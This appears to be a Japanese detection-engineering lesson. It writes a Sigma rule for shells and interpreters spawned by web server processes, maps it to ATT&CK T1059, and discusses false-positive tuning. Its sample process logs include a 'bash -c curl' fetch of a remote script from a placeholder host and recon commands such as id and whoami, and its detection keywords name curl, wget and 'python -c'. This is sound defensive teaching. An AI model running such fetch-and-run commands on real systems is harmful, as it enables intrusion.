Sigmaで検知ルールを書く — ATT&CKに紐づく検知エンジニアリング実習

「攻撃を知っている」から「検知できる」へ進む

Nmap、Burp Suite、Splunk の基本操作を学ぶと、ログの中に攻撃らしい痕跡を見つけられるようになります。ただし実務の SOC では、単発の検索クエリを書けるだけでは足りません。必要なのは、再利用できる検知ルールとして残し、誤検知を測り、MITRE ATT&CK の技術IDへ紐づけることです。

このレッスンでは、特定の SIEM 製品に依存しにくい検知ルール形式である Sigma を使います。題材は、Linux サーバーで「通常の管理作業に見えるが、侵害後の初動でもよく使われるシェル操作」です。攻撃を実行するためではなく、検知設計の筋肉をつけるための演習として扱います。

今回の到達点

この実習のゴールは、次の3つです。

• Sigma ルールの logsource、detection、condition、falsepositives を読めるようにする
• MITRE ATT&CK の T1059 Command and Scripting Interpreter と対応づけて、なぜそのログを見るのか説明できるようにする
• ルールを書いたあと、誤検知候補とチューニング方針をセットで残せるようにする

「アラートを鳴らす」だけなら簡単です。難しいのは、現場の管理作業を壊さず、本当に調査すべきイベントだけを残すことです。

演習用ログを用意する

まずは、簡単な Linux プロセス実行ログを CSV として作ります。実際の環境では Sysmon for Linux、auditd、EDR、クラウド監査ログなどから似た情報を取得しますが、ここでは検知ロジックに集中するために最小のデータにしています。

このログで注目したいのは、www-data のような Web サーバープロセスの実行ユーザーから、sh、bash、python が起動している行です。単独では「即侵害」と断定できませんが、Webアプリの脆弱性を経由したコマンド実行や、侵害後の初期調査の候補として優先的に見たいイベントです。

Sigma ルールの最小形を書く

Sigma ルールは YAML で書きます。公式ドキュメントでは、detection セクションがルールの中心であり、selection と condition を組み合わせて「何を見つけるか」を表現します。

次のルールは、Web サーバー由来の親プロセスからシェルやスクリプト実行環境が起動したイベントを検知するための練習用です。

title: Web Server Child Shell Or Interpreter Execution
id: 2f4b74ad-7a22-4c9b-a176-8d02bb99c126
status: test
description: Webサーバープロセスの子としてシェルまたはスクリプト実行環境が起動したイベントを確認する
author: CyberLens Lab
date: 2026-04-29
references:
  - https://attack.mitre.org/techniques/T1059/
tags:
  - attack.execution
  - attack.t1059
logsource:
  product: linux
  category: process_creation
detection:
  selection_parent:
    parent:
      - nginx
      - apache2
      - httpd
  selection_child:
    process:
      - sh
      - bash
      - python
      - perl
  filter_known_admin:
    user:
      - deploy
      - backup
  condition: selection_parent and selection_child and not filter_known_admin
falsepositives:
  - Webアプリの正規メンテナンススクリプト
  - 監視エージェントやヘルスチェックによる一時的なシェル起動
level: high

ここでは selection_parent と selection_child を分けています。読み手が「親プロセス条件」と「子プロセス条件」を別々に確認できるため、あとからチューニングしやすくなります。

手元のログでルールの感触を見る

本格的には sigma-cli や SIEM への変換を使いますが、最初の検知設計では、手元のログに対して条件の感触を見るだけでも十分に学びがあります。

期待される出力は、www-data から sh、bash、python が起動した3行です。

2026-04-29T09:04:31+09:00,web-01,www-data,nginx,sh,sh -c id
2026-04-29T09:05:03+09:00,web-01,www-data,nginx,bash,bash -c curl -fsSL http://example.invalid/check.sh
2026-04-29T09:05:40+09:00,web-01,www-data,nginx,python,python -c import os; os.system('whoami')

この段階では、まだアラートとしては粗いです。id や whoami のような短い確認コマンドは、攻撃者の初期調査にも管理者の切り分けにも見えます。そこで次に、誤検知をどう扱うかを設計します。

誤検知を「削る」のではなく「説明可能にする」

中上級者向けの検知設計で大切なのは、最初から完璧なルールを書こうとしないことです。まず広めに拾い、次に業務上説明できるものを除外します。

観点	確認すること	判断例
実行ユーザー	www-data、nginx、apache などサービスユーザーか	人間の管理作業ではない可能性が高い
親プロセス	nginx、apache2、php-fpm など外部入力を受けるプロセスか	Web経由のコマンド実行を疑う
コマンドライン	curl、wget、python -c、bash -c が含まれるか	追加取得・即時実行・調査の可能性
既知の業務	デプロイ、バックアップ、監視の定常ジョブか	変更管理番号や実行時間帯で説明できるなら除外候補

ここで「うるさいから消す」と判断すると、検知はすぐ形骸化します。除外条件には、業務上の根拠を残します。たとえば「backup ユーザーの backup-healthcheck.sh は毎日 09:10 に実行される監視ジョブ」というように、誰が見ても再確認できる説明が必要です。

Splunk SPLへ落とし込む

前の Splunk 実習 まで進めているなら、同じ考え方を SPL に落とせます。ここでは process_events.csv を取り込んだ前提の簡易例です。

さらに一歩進めるなら、コマンドラインの特徴を加えます。

この例では、curl や python -c を「追加調査の優先度を上げるシグナル」として扱っています。キーワードを増やしすぎると脆くなるため、最初は少数の説明しやすい条件から始めるのが安全です。

ATT&CKへマッピングする

このルールは MITRE ATT&CK の T1059 に対応します。ただし、ATT&CK ID は飾りではありません。SOC運用では次のような使い道があります。

• 検知カバレッジ表で「どの技術を見ているか」を可視化する
• 脅威ハンティングの仮説を、IOCではなくTTP単位で組み立てる
• インシデント報告で、検知した事象をベンダー非依存の言葉に変換する
• 同じ技術に対する別ログソースの検知候補を考える

たとえば、今回のプロセス実行ログだけでなく、Webサーバーのアクセスログ、EDRのプロセスツリー、クラウドWAFのブロックログをつなぐと、「Web入力からシェル起動まで」の一連の仮説を検証できます。

運用投入前のチェックリスト

ルールを書いたら、すぐ本番アラートにするのではなく、少なくとも次の観点でレビューします。

• 過去7日〜30日のログに当てたとき、何件ヒットするか
• ヒットしたイベントのうち、業務上説明できるものは何件か
• 除外条件はユーザー名だけに依存していないか
• 重大度 level は対応体制に見合っているか
• アラート本文に、次に見るべきログと担当チームが書かれているか

検知ルールは、書いた瞬間ではなく、運用で育てたあとに価値が出るものです。誤検知のメモ、除外条件の理由、実際にインシデントへつながった事例を同じ場所に残すと、チームの検知力が積み上がります。

参考にしたい一次情報

• Sigma Detection Format: Rules
• Sigma 公式ルールリポジトリ
• MITRE ATT&CK: T1059 Command and Scripting Interpreter

まとめ

このレッスンで作ったのは、小さな検知ルールです。しかし、考え方は実務そのものです。ログソースを決め、検知したい行動を ATT&CK に紐づけ、誤検知を説明可能にし、SIEM のクエリへ落とす。この流れを繰り返すことで、単なるツール操作から「検知エンジニアリング」へ進めます。

次に読むなら、能動的な仮説立案を扱う 脅威ハンティング と、ログ基盤そのものを整理した SIEMとログ管理 を合わせて確認してください。